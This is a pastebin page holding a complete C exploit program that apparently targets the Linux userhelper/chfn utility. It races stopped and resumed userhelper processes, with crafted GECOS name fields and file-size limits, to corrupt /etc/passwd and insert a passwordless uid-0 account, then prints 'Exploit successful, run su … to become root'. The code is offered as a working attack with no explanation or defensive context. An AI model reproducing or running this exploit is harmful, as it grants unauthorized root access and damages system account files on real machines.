Advertisement
Guest User

Untitled

a guest
Feb 14th, 2019
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.15 KB | None | 0 0
  1. #define _GNU_SOURCE
  2. #include <ctype.h>
  3. #include <errno.h>
  4. #include <fcntl.h>
  5. #include <inttypes.h>
  6. #include <limits.h>
  7. #include <pwd.h>
  8. #include <sched.h>
  9. #include <signal.h>
  10. #include <stdarg.h>
  11. #include <stdbool.h>
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <sys/inotify.h>
  16. #include <sys/resource.h>
  17. #include <sys/socket.h>
  18. #include <sys/stat.h>
  19. #include <sys/time.h>
  20. #include <sys/types.h>
  21. #include <sys/wait.h>
  22. #include <unistd.h>
  23.  
  24. /* A maximum GECOS field length. There's no hard limit, so we guess. */
  25. #define GECOS_LENGTH 127
  26.  
  27. typedef char gecos_field[GECOS_LENGTH];
  28.  
  29. /* A structure to hold broken-out GECOS data. The number and names of the
  30. * fields are dictated entirely by the flavor of finger we use. Seriously. */
  31. struct gecos_data {
  32. gecos_field full_name; /* full user name */
  33. gecos_field office; /* office */
  34. gecos_field office_phone; /* office phone */
  35. gecos_field home_phone; /* home phone */
  36. gecos_field site_info; /* other stuff */
  37. };
  38.  
  39. static struct userhelper {
  40. struct gecos_data gecos;
  41. rlim_t fsizelim;
  42. pid_t pid;
  43. int fd;
  44. } userhelpers[GECOS_LENGTH];
  45.  
  46. static void
  47. die_in_parent(const char *const file, const unsigned int line,
  48. const char *const function)
  49. {
  50. fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function);
  51. fflush(stderr);
  52.  
  53. unsigned int i;
  54. for (i = 0; i < GECOS_LENGTH; i++) {
  55. const pid_t pid = userhelpers[i].pid;
  56. if (pid <= 0) continue;
  57. kill(pid, SIGKILL);
  58. }
  59. _exit(EXIT_FAILURE);
  60. }
  61.  
  62. static void
  63. die_in_child(const char *const file, const unsigned int line,
  64. const char *const function)
  65. {
  66. fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function);
  67. exit(EXIT_FAILURE);
  68. }
  69.  
  70. static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;
  71. #define die() die_fn(__FILE__, __LINE__, __func__)
  72.  
  73. static void *
  74. xmalloc(const size_t size)
  75. {
  76. if (size <= 0) die();
  77. if (size >= INT_MAX) die();
  78. void *const ptr = malloc(size);
  79. if (ptr == NULL) die();
  80. return ptr;
  81. }
  82.  
  83. static void *
  84. xrealloc(void *const old, const size_t size)
  85. {
  86. if (size <= 0) die();
  87. if (size >= INT_MAX) die();
  88. void *const new = realloc(old, size);
  89. if (new == NULL) die();
  90. return new;
  91. }
  92.  
  93. static char *
  94. xstrndup(const char *const old, const size_t len)
  95. {
  96. if (old == NULL) die();
  97. if (len >= INT_MAX) die();
  98.  
  99. char *const new = strndup(old, len);
  100.  
  101. if (new == NULL) die();
  102. if (len != strlen(new)) die();
  103. return new;
  104. }
  105.  
  106. static int
  107. xsnprintf(char *const str, const size_t size, const char *const format, ...)
  108. {
  109. if (str == NULL) die();
  110. if (size <= 0) die();
  111. if (size >= INT_MAX) die();
  112. if (format == NULL) die();
  113.  
  114. va_list ap;
  115. va_start(ap, format);
  116. const int len = vsnprintf(str, size, format, ap);
  117. va_end(ap);
  118.  
  119. if (len < 0) die();
  120. if ((unsigned int)len >= size) die();
  121. if ((unsigned int)len != strlen(str)) die();
  122. return len;
  123. }
  124.  
  125. static int
  126. xopen(const char *const pathname, const int flags)
  127. {
  128. if (pathname == NULL) die();
  129. if (*pathname != '/') die();
  130. if (flags != O_RDONLY) die();
  131.  
  132. const int fd = open(pathname, flags);
  133. if (fd <= -1) die();
  134.  
  135. static const struct flock rdlock = {
  136. .l_type = F_RDLCK,
  137. .l_whence = SEEK_SET,
  138. .l_start = 0,
  139. .l_len = 0
  140. };
  141. if (fcntl(fd, F_SETLK, &rdlock) != 0) die();
  142. return fd;
  143. }
  144.  
  145. static void
  146. xclose(const int fd)
  147. {
  148. if (fd <= -1) die();
  149. static const struct flock unlock = {
  150. .l_type = F_UNLCK,
  151. .l_whence = SEEK_SET,
  152. .l_start = 0,
  153. .l_len = 0
  154. };
  155. if (fcntl(fd, F_SETLK, &unlock) != 0) die();
  156. if (close(fd) != 0) die();
  157. }
  158.  
  159. #define GECOS_BADCHARS ":,=\n"
  160.  
  161. /* A simple function to compute the size of a gecos string containing the
  162. * data we have. */
  163. static size_t
  164. gecos_size(const struct gecos_data *const parsed)
  165. {
  166. if (parsed == NULL) die();
  167.  
  168. size_t len = 4; /* commas! */
  169. len += strlen(parsed->full_name);
  170. len += strlen(parsed->office);
  171. len += strlen(parsed->office_phone);
  172. len += strlen(parsed->home_phone);
  173. len += strlen(parsed->site_info);
  174. len++;
  175. return len;
  176. }
  177.  
  178. /* Parse the passed-in GECOS string and set PARSED to its broken-down contents.
  179. Note that the parsing is performed using the convention obeyed by BSDish
  180. finger(1) under Linux. */
  181. static void
  182. gecos_parse(const char *const gecos, struct gecos_data *const parsed)
  183. {
  184. if (gecos == NULL) die();
  185. if (strlen(gecos) >= INT_MAX) die();
  186.  
  187. if (parsed == NULL) die();
  188. memset(parsed, 0, sizeof(*parsed));
  189.  
  190. unsigned int i;
  191. const char *field = gecos;
  192.  
  193. for (i = 0; ; i++) {
  194. const char *field_end = strchrnul(field, ',');
  195. gecos_field *dest = NULL;
  196.  
  197. switch (i) {
  198. case 0:
  199. dest = &parsed->full_name;
  200. break;
  201. case 1:
  202. dest = &parsed->office;
  203. break;
  204. case 2:
  205. dest = &parsed->office_phone;
  206. break;
  207. case 3:
  208. dest = &parsed->home_phone;
  209. break;
  210. case 4:
  211. field_end = rawmemchr(field_end, '\0');
  212. dest = &parsed->site_info;
  213. break;
  214. default:
  215. die();
  216. }
  217. const size_t field_len = field_end - field;
  218. xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field);
  219. if (strlen(*dest) != field_len) die();
  220.  
  221. if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();
  222.  
  223. if (*field_end == '\0') break;
  224. field = field_end + 1;
  225. }
  226. if (gecos_size(parsed) > GECOS_LENGTH) die();
  227. }
  228.  
  229. /* Assemble a new gecos string. */
  230. static const char *
  231. gecos_assemble(const struct gecos_data *const parsed)
  232. {
  233. static char ret[GECOS_LENGTH];
  234. size_t i;
  235.  
  236. if (parsed == NULL) die();
  237. /* Construct the basic version of the string. */
  238. xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s",
  239. parsed->full_name,
  240. parsed->office,
  241. parsed->office_phone,
  242. parsed->home_phone,
  243. parsed->site_info);
  244. /* Strip off terminal commas. */
  245. i = strlen(ret);
  246. while ((i > 0) && (ret[i - 1] == ',')) {
  247. ret[i - 1] = '\0';
  248. i--;
  249. }
  250. return ret;
  251. }
  252.  
  253. /* Descriptors used to communicate between userhelper and consolhelper. */
  254. #define UH_INFILENO 3
  255. #define UH_OUTFILENO 4
  256.  
  257. /* Userhelper request format:
  258. request code as a single character,
  259. request data size as UH_REQUEST_SIZE_DIGITS decimal digits
  260. request data
  261. '\n' */
  262. #define UH_REQUEST_SIZE_DIGITS 8
  263.  
  264. /* Synchronization point code. */
  265. #define UH_SYNC_POINT 32
  266.  
  267. /* Valid userhelper request codes. */
  268. #define UH_ECHO_ON_PROMPT 34
  269. #define UH_ECHO_OFF_PROMPT 35
  270. #define UH_EXPECT_RESP 39
  271. #define UH_SERVICE_NAME 40
  272. #define UH_USER 42
  273.  
  274. /* Consolehelper response format:
  275. response code as a single character,
  276. response data
  277. '\n' */
  278.  
  279. /* Consolehelper response codes. */
  280. #define UH_TEXT 33
  281.  
  282. /* Valid userhelper error codes. */
  283. #define ERR_UNK_ERROR 255 /* unknown error */
  284.  
  285. /* Paths, flag names, and other stuff. */
  286. #define UH_PATH "/usr/sbin/userhelper"
  287. #define UH_FULLNAME_OPT "-f"
  288. #define UH_OFFICE_OPT "-o"
  289. #define UH_OFFICEPHONE_OPT "-p"
  290. #define UH_HOMEPHONE_OPT "-h"
  291.  
  292. static char
  293. read_request(const int fd, char *const data, const size_t size)
  294. {
  295. if (fd <= -1) die();
  296. if (data == NULL) die();
  297. if (size >= INT_MAX) die();
  298.  
  299. char header[1 + UH_REQUEST_SIZE_DIGITS + 1];
  300. if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();
  301. header[sizeof(header)-1] = '\0';
  302.  
  303. errno = 0;
  304. char *endptr = NULL;
  305. const unsigned long len = strtoul(&header[1], &endptr, 10);
  306. if (errno != 0 || endptr != &header[sizeof(header)-1]) die();
  307.  
  308. if (len >= size) die();
  309. if (read(fd, data, len+1) != (ssize_t)(len+1)) die();
  310. if (data[len] != '\n') die();
  311. data[len] = '\0';
  312.  
  313. if (strlen(data) != len) die();
  314. if (strchr(data, '\n') != NULL) die();
  315. return header[0];
  316. }
  317.  
  318. static void
  319. send_reply(const int fd, const unsigned char type, const char *const data)
  320. {
  321. if (fd <= -1) die();
  322. if (!isascii(type)) die();
  323. if (!isprint(type)) die();
  324. if (data == NULL) die();
  325. if (strpbrk(data, "\r\n") != NULL) die();
  326.  
  327. char buf[BUFSIZ];
  328. const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data);
  329. if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();
  330. }
  331.  
  332. #define ETCDIR "/etc"
  333. #define PASSWD "/etc/passwd"
  334. #define BACKUP "/etc/passwd-"
  335.  
  336. static struct {
  337. char username[64];
  338. char password[64];
  339. struct gecos_data gecos;
  340. } my;
  341.  
  342. static volatile sig_atomic_t is_child_dead;
  343.  
  344. static void
  345. sigchild_handler(const int signum __attribute__ ((__unused__)))
  346. {
  347. is_child_dead = true;
  348. }
  349.  
  350. static int
  351. wait_for_userhelper(struct userhelper *const uh, const int options)
  352. {
  353. if (uh == NULL) die();
  354. if (uh->pid <= 0) die();
  355. if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();
  356.  
  357. int status;
  358. for (;;) {
  359. const pid_t pid = waitpid(uh->pid, &status, options);
  360. if (pid == uh->pid) break;
  361. if (pid > 0) _exit(255);
  362.  
  363. if (pid != -1) die();
  364. if (errno != EINTR) die();
  365. }
  366. if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;
  367. return status;
  368. }
  369.  
  370. static void
  371. forkstop_userhelper(struct userhelper *const uh)
  372. {
  373. if (uh == NULL) die();
  374. if (uh->pid != 0) die();
  375. if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();
  376.  
  377. struct rlimit fsize;
  378. if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
  379. if (uh->fsizelim > fsize.rlim_max) die();
  380. if (uh->fsizelim <= 0) die();
  381. fsize.rlim_cur = uh->fsizelim;
  382.  
  383. cpu_set_t old_cpus;
  384. CPU_ZERO(&old_cpus);
  385. if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
  386.  
  387. { const int cpu = sched_getcpu();
  388. if (cpu >= CPU_SETSIZE) die();
  389. if (cpu < 0) die();
  390. cpu_set_t new_cpus;
  391. CPU_ZERO(&new_cpus);
  392. CPU_SET(cpu, &new_cpus);
  393. if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }
  394.  
  395. int sv[2];
  396. if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();
  397.  
  398. if (is_child_dead) die();
  399. static const struct sigaction sigchild_action = {
  400. .sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };
  401. if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();
  402.  
  403. uh->pid = fork();
  404. if (uh->pid <= -1) die();
  405.  
  406. if (uh->pid == 0) {
  407. die_fn = die_in_child;
  408. if (close(sv[1]) != 0) die();
  409. if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();
  410. if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();
  411.  
  412. const int devnull_fd = open("/dev/null", O_RDWR);
  413. if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();
  414. if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
  415. if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();
  416.  
  417. if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
  418. if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();
  419. if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
  420.  
  421. if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
  422. static const struct sched_param sched_param = { .sched_priority = 0 };
  423. (void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
  424.  
  425. char *const argv[] = { UH_PATH,
  426. UH_FULLNAME_OPT, uh->gecos.full_name,
  427. UH_OFFICE_OPT, uh->gecos.office,
  428. UH_OFFICEPHONE_OPT, uh->gecos.office_phone,
  429. UH_HOMEPHONE_OPT, uh->gecos.home_phone,
  430. NULL };
  431. char *const envp[] = { NULL };
  432. execve(UH_PATH, argv, envp);
  433. die();
  434. }
  435. if (die_fn != die_in_parent) die();
  436. if (close(sv[0]) != 0) die();
  437. uh->fd = sv[1];
  438.  
  439. unsigned long expected_responses = 0;
  440. for (;;) {
  441. char data[BUFSIZ];
  442. const char type = read_request(uh->fd, data, sizeof(data));
  443. if (type == UH_SYNC_POINT) break;
  444.  
  445. switch (type) {
  446. case UH_USER:
  447. if (strcmp(data, my.username) != 0) die();
  448. break;
  449. case UH_SERVICE_NAME:
  450. if (strcmp(data, "chfn") != 0) die();
  451. break;
  452. case UH_ECHO_ON_PROMPT:
  453. case UH_ECHO_OFF_PROMPT:
  454. if (++expected_responses == 0) die();
  455. break;
  456. case UH_EXPECT_RESP:
  457. if (strtoul(data, NULL, 10) != expected_responses) die();
  458. break;
  459. default:
  460. break;
  461. }
  462. }
  463. if (expected_responses != 1) die();
  464.  
  465. const int lpasswd_fd = xopen(PASSWD, O_RDONLY);
  466. const int inotify_fd = inotify_init();
  467. if (inotify_fd <= -1) die();
  468. if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |
  469. IN_OPEN) <= -1) die();
  470. if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {
  471. if (errno != ENOENT) die();
  472. if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();
  473. }
  474.  
  475. send_reply(uh->fd, UH_TEXT, my.password);
  476. send_reply(uh->fd, UH_SYNC_POINT, "");
  477. if (close(uh->fd) != 0) die();
  478. uh->fd = -1;
  479.  
  480. unsigned int state = 0;
  481. static const uint32_t transition[] = { IN_CLOSE_WRITE,
  482. IN_CLOSE_NOWRITE, IN_OPEN, 0 };
  483. for (;;) {
  484. if (is_child_dead) die();
  485. char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];
  486. const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));
  487. if (is_child_dead) die();
  488.  
  489. if (_buflen <= 0) die();
  490. size_t buflen = _buflen;
  491. if (buflen > sizeof(buffer)) die();
  492.  
  493. struct inotify_event *ep;
  494. for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);
  495. ep = (struct inotify_event *)(ep->name + ep->len)) {
  496. buflen -= sizeof(*ep);
  497.  
  498. if (ep->len > 0) {
  499. if (buflen < ep->len) die();
  500. buflen -= ep->len;
  501. if ((ep->mask & IN_CREATE) == 0) die();
  502. (void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);
  503. continue;
  504. }
  505. if (ep->len != 0) die();
  506. while ((ep->mask & transition[state]) != 0) {
  507. ep->mask &= ~transition[state++];
  508. if (transition[state] == 0) goto stop_userhelper;
  509. }
  510. }
  511. if (buflen != 0) die();
  512. }
  513. stop_userhelper:
  514. if (kill(uh->pid, SIGSTOP) != 0) die();
  515. if (close(inotify_fd) != 0) die();
  516.  
  517. const int status = wait_for_userhelper(uh, WUNTRACED);
  518. if (!WIFSTOPPED(status)) die();
  519. if (WSTOPSIG(status) != SIGSTOP) die();
  520.  
  521. xclose(lpasswd_fd);
  522. if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();
  523. if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
  524. }
  525.  
  526. static void
  527. continue_userhelper(struct userhelper *const uh)
  528. {
  529. if (uh == NULL) die();
  530. if (uh->fd != -1) die();
  531. if (uh->pid <= 0) die();
  532.  
  533. if (kill(uh->pid, SIGCONT) != 0) die();
  534.  
  535. { const int status = wait_for_userhelper(uh, WCONTINUED);
  536. if (!WIFCONTINUED(status)) die(); }
  537.  
  538. { const int status = wait_for_userhelper(uh, 0);
  539. if (!WIFEXITED(status)) die();
  540. if (WEXITSTATUS(status) !=
  541. ((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }
  542.  
  543. memset(uh, 0, sizeof(*uh));
  544. }
  545.  
  546. static void
  547. create_backup_of_passwd_file(void)
  548. {
  549. char backup[] = "/tmp/passwd-XXXXXX";
  550. const mode_t prev_umask = umask(077);
  551. const int ofd = mkstemp(backup);
  552. (void) umask(prev_umask);
  553. if (ofd <= -1) die();
  554.  
  555. printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup);
  556. const int ifd = xopen(PASSWD, O_RDONLY);
  557. for (;;) {
  558. char buf[BUFSIZ];
  559. const ssize_t len = read(ifd, buf, sizeof(buf));
  560. if (len == 0) break;
  561. if (len <= 0) die();
  562. if (write(ofd, buf, len) != len) die();
  563. }
  564. xclose(ifd);
  565. if (close(ofd) != 0) die();
  566. }
  567.  
  568. static void
  569. delete_lines_from_passwd_file(void)
  570. {
  571. struct gecos_data gecos;
  572. memset(&gecos, 0, sizeof(gecos));
  573. xsnprintf(gecos.site_info, sizeof(gecos.site_info),
  574. "%s", my.gecos.site_info);
  575. const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);
  576. if (fullname_max >= GECOS_LENGTH) die();
  577. if (fullname_max <= 0) die();
  578.  
  579. char fragment[64];
  580. xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
  581.  
  582. char *contents = NULL;
  583. for (;;) {
  584. struct stat st;
  585. const int fd = xopen(PASSWD, O_RDONLY);
  586. if (fstat(fd, &st) != 0) die();
  587. if (st.st_size >= INT_MAX) die();
  588. if (st.st_size <= 0) die();
  589.  
  590. contents = xrealloc(contents, st.st_size + 1);
  591. if (read(fd, contents, st.st_size) != st.st_size) die();
  592. contents[st.st_size] = '\0';
  593. xclose(fd);
  594.  
  595. const char *cp = strstr(contents, fragment);
  596. if (cp == NULL) die();
  597. cp = strchr(cp + 2, '\n');
  598. if (cp == NULL) die();
  599. if (cp[1] == '\0') break;
  600.  
  601. char *const tp = contents + st.st_size-1;
  602. *tp = '\0';
  603. if (tp <= cp) die();
  604. if (tp - cp > fullname_max) cp = tp - fullname_max;
  605. cp = strpbrk(cp, "\n:, ");
  606. if (cp == NULL) die();
  607.  
  608. const ssize_t fullname_len = tp - cp;
  609. if (fullname_len >= GECOS_LENGTH) die();
  610. if (fullname_len <= 0) die();
  611.  
  612. printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD);
  613.  
  614. struct userhelper *const uh = &userhelpers[0];
  615. memset(uh->gecos.full_name, 'A', fullname_len);
  616. uh->fsizelim = st.st_size;
  617. forkstop_userhelper(uh);
  618. continue_userhelper(uh);
  619.  
  620. uh->fsizelim = RLIM_INFINITY;
  621. forkstop_userhelper(uh);
  622. continue_userhelper(uh);
  623. }
  624. free(contents);
  625. }
  626.  
  627. static size_t passwd_fsize;
  628. static int generate_userhelpers(const char *);
  629. #define IS_USER_LAST "last user in passwd file?"
  630.  
  631. static char candidate_users[256];
  632. static char superuser_elect;
  633.  
  634. int
  635. main(void)
  636. {
  637. create_backup_of_passwd_file();
  638.  
  639. { char candidate[] = "a";
  640. for (; candidate[0] <= 'z'; candidate[0]++) {
  641. if (getpwnam(candidate) != NULL) continue;
  642. strcat(candidate_users, candidate);
  643. } }
  644. if (candidate_users[0] == '\0') die();
  645.  
  646. const struct passwd *const pwd = getpwuid(getuid());
  647. if ((pwd == NULL) || (pwd->pw_name == NULL)) die();
  648. xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name);
  649. gecos_parse(pwd->pw_gecos, &my.gecos);
  650.  
  651. if (fputs("Please enter your password:\n", stdout) == EOF) die();
  652. if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();
  653. char *const newline = strchr(my.password, '\n');
  654. if (newline == NULL) die();
  655. *newline = '\0';
  656.  
  657. { struct userhelper *const uh = &userhelpers[0];
  658. uh->fsizelim = RLIM_INFINITY;
  659. forkstop_userhelper(uh);
  660. continue_userhelper(uh); }
  661.  
  662. retry:
  663. if (generate_userhelpers(IS_USER_LAST)) {
  664. struct userhelper *const uh1 = &userhelpers[1];
  665. strcpy(uh1->gecos.full_name, "\n");
  666. uh1->fsizelim = passwd_fsize + 1;
  667.  
  668. struct userhelper *const uh0 = &userhelpers[0];
  669. uh0->fsizelim = passwd_fsize;
  670.  
  671. forkstop_userhelper(uh1), forkstop_userhelper(uh0);
  672. continue_userhelper(uh1), continue_userhelper(uh0);
  673. if (generate_userhelpers(IS_USER_LAST)) die();
  674. }
  675.  
  676. static const char a[] = "?::0:0::/:";
  677. printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD);
  678.  
  679. const int n = generate_userhelpers(a);
  680. if (n == -1) {
  681. static int retries;
  682. if (retries++) die();
  683. memset(userhelpers, 0, sizeof(userhelpers));
  684. delete_lines_from_passwd_file();
  685. goto retry;
  686. }
  687. if (n <= 0) die();
  688. if (n >= GECOS_LENGTH) die();
  689. if (superuser_elect == '\0') die();
  690.  
  691. int i;
  692. for (i = n; --i >= 0; ) {
  693. printf("Starting and stopping userhelper #%d\n", i);
  694. forkstop_userhelper(&userhelpers[i]);
  695. }
  696. for (i = n; --i >= 0; ) {
  697. printf("Continuing stopped userhelper #%d\n", i);
  698. continue_userhelper(&userhelpers[i]);
  699. }
  700. printf("Exploit successful, run \"su %c\" to become root\n",
  701. (int)superuser_elect);
  702.  
  703. { struct userhelper *const uh = &userhelpers[0];
  704. uh->fsizelim = RLIM_INFINITY;
  705. uh->gecos = my.gecos;
  706. forkstop_userhelper(uh);
  707. continue_userhelper(uh); }
  708.  
  709. exit(EXIT_SUCCESS);
  710. }
  711.  
  712. static void
  713. generate_fullname(char *const fullname, const ssize_t fullname_len,
  714. const char c)
  715. {
  716. if (fullname == NULL) die();
  717. if (fullname_len < 0) die();
  718. if (fullname_len >= GECOS_LENGTH) die();
  719.  
  720. memset(fullname, 'A', fullname_len);
  721.  
  722. if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {
  723. if (!isascii((unsigned char)c)) die();
  724. if (!isgraph((unsigned char)c)) die();
  725. fullname[fullname_len-1] = c;
  726. }
  727. }
  728.  
  729. static size_t siteinfo_len;
  730. static size_t fullname_off;
  731.  
  732. static size_t before_fullname_len;
  733. static char * before_fullname;
  734.  
  735. static size_t after_fullname_len;
  736. static char * after_fullname;
  737.  
  738. static int
  739. generate_userhelper(const char *const a, const int i, char *const contents)
  740. {
  741. if (i < 0) {
  742. if (i != -1) die();
  743. return 0;
  744. }
  745. if (a == NULL) die();
  746. if ((unsigned int)i >= strlen(a)) die();
  747. if (contents == NULL) die();
  748.  
  749. const char _c = a[i];
  750. const bool is_user_wildcard = (_c == '?');
  751. const char c = (is_user_wildcard ? candidate_users[0] : _c);
  752. if (c == '\0') die();
  753.  
  754. const size_t target = passwd_fsize-1 + i;
  755. const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1;
  756. if (fsizelim < passwd_fsize) die();
  757.  
  758. const size_t contents_len = strlen(contents);
  759. if (contents_len < passwd_fsize) die();
  760. if (contents_len <= fullname_off) die();
  761.  
  762. char *const fullname = contents + fullname_off;
  763. if (memcmp(fullname - before_fullname_len,
  764. before_fullname, before_fullname_len) != 0) die();
  765.  
  766. const char *rest = strchr(fullname, '\n');
  767. if (rest == NULL) die();
  768. rest++;
  769.  
  770. const ssize_t fullname_len = (rest - fullname) - after_fullname_len;
  771. if (fullname_len >= GECOS_LENGTH) die();
  772. if (fullname_len < 0) die();
  773.  
  774. if (rest[-1] != '\n') die();
  775. generate_fullname(fullname, fullname_len, c);
  776. memcpy(fullname + fullname_len, after_fullname, after_fullname_len);
  777. if (rest[-1] != '\n') die();
  778.  
  779. if (memcmp(rest - after_fullname_len,
  780. after_fullname, after_fullname_len) != 0) die();
  781.  
  782. size_t offset;
  783. for (offset = fullname_off; offset < contents_len; offset++) {
  784.  
  785. const char x = contents[offset];
  786. if (x == '\0') die();
  787. if (is_user_wildcard) {
  788. if (strchr(candidate_users, x) == NULL) continue;
  789. superuser_elect = x;
  790. } else {
  791. if (x != c) continue;
  792. }
  793.  
  794. const ssize_t new_fullname_len = fullname_len + (target - offset);
  795. if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */
  796. if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;
  797.  
  798. if (offset < fullname_off + fullname_len) {
  799. if (offset != fullname_off + fullname_len-1) die();
  800. if (new_fullname_len == 0) continue;
  801. }
  802. if (offset >= contents_len-1) {
  803. if (offset != contents_len-1) die();
  804. if (fsizelim != RLIM_INFINITY) continue;
  805. }
  806.  
  807. { char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);
  808.  
  809. memcpy(new_contents, contents, fullname_off);
  810. generate_fullname(new_contents + fullname_off, new_fullname_len, c);
  811. memcpy(new_contents + fullname_off + new_fullname_len,
  812. contents + fullname_off + fullname_len,
  813. contents_len+1 - (fullname_off + fullname_len));
  814.  
  815. if (strlen(new_contents) != contents_len +
  816. (new_fullname_len - fullname_len)) die();
  817.  
  818. if (fsizelim != RLIM_INFINITY) {
  819. if (fsizelim >= strlen(new_contents)) die();
  820. if (fsizelim >= contents_len) die();
  821. memcpy(new_contents + fsizelim,
  822. contents + fsizelim,
  823. contents_len+1 - fsizelim);
  824. }
  825.  
  826. const int err = generate_userhelper(a, i-1, new_contents);
  827. free(new_contents);
  828. if (err < 0) continue; }
  829.  
  830. if (i >= GECOS_LENGTH) die();
  831. struct userhelper *const uh = &userhelpers[i];
  832. memset(uh, 0, sizeof(*uh));
  833.  
  834. uh->fsizelim = fsizelim;
  835. if (new_fullname_len >= GECOS_LENGTH) die();
  836. generate_fullname(uh->gecos.full_name, new_fullname_len, c);
  837. return 0;
  838. }
  839. return -1;
  840. }
  841.  
  842. static int
  843. generate_userhelpers(const char *const _a)
  844. {
  845. char a[GECOS_LENGTH];
  846. if (_a == NULL) die();
  847. const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a);
  848. if (n >= GECOS_LENGTH) die();
  849. if (n <= 0) die();
  850.  
  851. const int fd = xopen(PASSWD, O_RDONLY);
  852. struct stat st;
  853. if (fstat(fd, &st) != 0) die();
  854. if (st.st_size >= 10*1024*1024) die();
  855. if (st.st_size <= 0) die();
  856. passwd_fsize = st.st_size;
  857.  
  858. char *const contents = xmalloc(passwd_fsize + 1);
  859. if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();
  860. xclose(fd);
  861. contents[passwd_fsize] = '\0';
  862. if (strlen(contents) != passwd_fsize) die();
  863. if (contents[passwd_fsize-1] != '\n') die();
  864.  
  865. char fragment[64];
  866. xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
  867. const char *line = strstr(contents, fragment);
  868. if (line == NULL) die();
  869. line++;
  870.  
  871. const char *rest = strchr(line, '\n');
  872. if (rest == NULL) die();
  873. if (rest <= line) die();
  874. rest++;
  875.  
  876. if (strcmp(_a, IS_USER_LAST) == 0) {
  877. const bool is_user_last = (*rest == '\0');
  878. free(contents);
  879. return is_user_last;
  880. }
  881.  
  882. unsigned int i;
  883. const char *field = line;
  884.  
  885. for (i = 0; i <= 5; i++) {
  886. const char *const field_end = strchr(field, ':');
  887. if (field_end == NULL) die();
  888. if (field_end >= rest) die();
  889. const size_t field_len = field_end - field;
  890.  
  891. switch (i) {
  892. case 0:
  893. if (field_len != strlen(my.username)) die();
  894. if (memcmp(field, my.username, field_len) != 0) die();
  895. break;
  896. case 1:
  897. if (*field != 'x') die();
  898. break;
  899. case 2:
  900. if (strtoimax(field, NULL, 10) != getuid()) die();
  901. break;
  902. case 3:
  903. if (strtoimax(field, NULL, 10) != getgid()) die();
  904. break;
  905. case 4:
  906. {
  907. char assembled[GECOS_LENGTH];
  908. xsnprintf(assembled, sizeof(assembled),
  909. "%.*s", (int)field_len, field);
  910. if (strlen(assembled) != field_len) die();
  911.  
  912. struct gecos_data gecos;
  913. memset(&gecos, 0, sizeof(gecos));
  914. xsnprintf(gecos.site_info, sizeof(gecos.site_info),
  915. "%s", my.gecos.site_info);
  916. if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();
  917. }
  918.  
  919. siteinfo_len = strlen(my.gecos.site_info);
  920. fullname_off = field - contents;
  921.  
  922. before_fullname_len = field - line;
  923. before_fullname = xstrndup(line, before_fullname_len);
  924.  
  925. after_fullname_len = rest - field;
  926. after_fullname = xstrndup(field, after_fullname_len);
  927. break;
  928.  
  929. case 5:
  930. if (*field != '/') die();
  931. break;
  932. default:
  933. die();
  934. }
  935. field = field_end + 1;
  936. }
  937.  
  938. const int err = generate_userhelper(a, n-1, contents);
  939.  
  940. free(before_fullname), before_fullname = NULL;
  941. free(after_fullname), after_fullname = NULL;
  942. free(contents);
  943.  
  944. return (err < 0) ? -1 : n;
  945. }
Advertisement
Add Comment
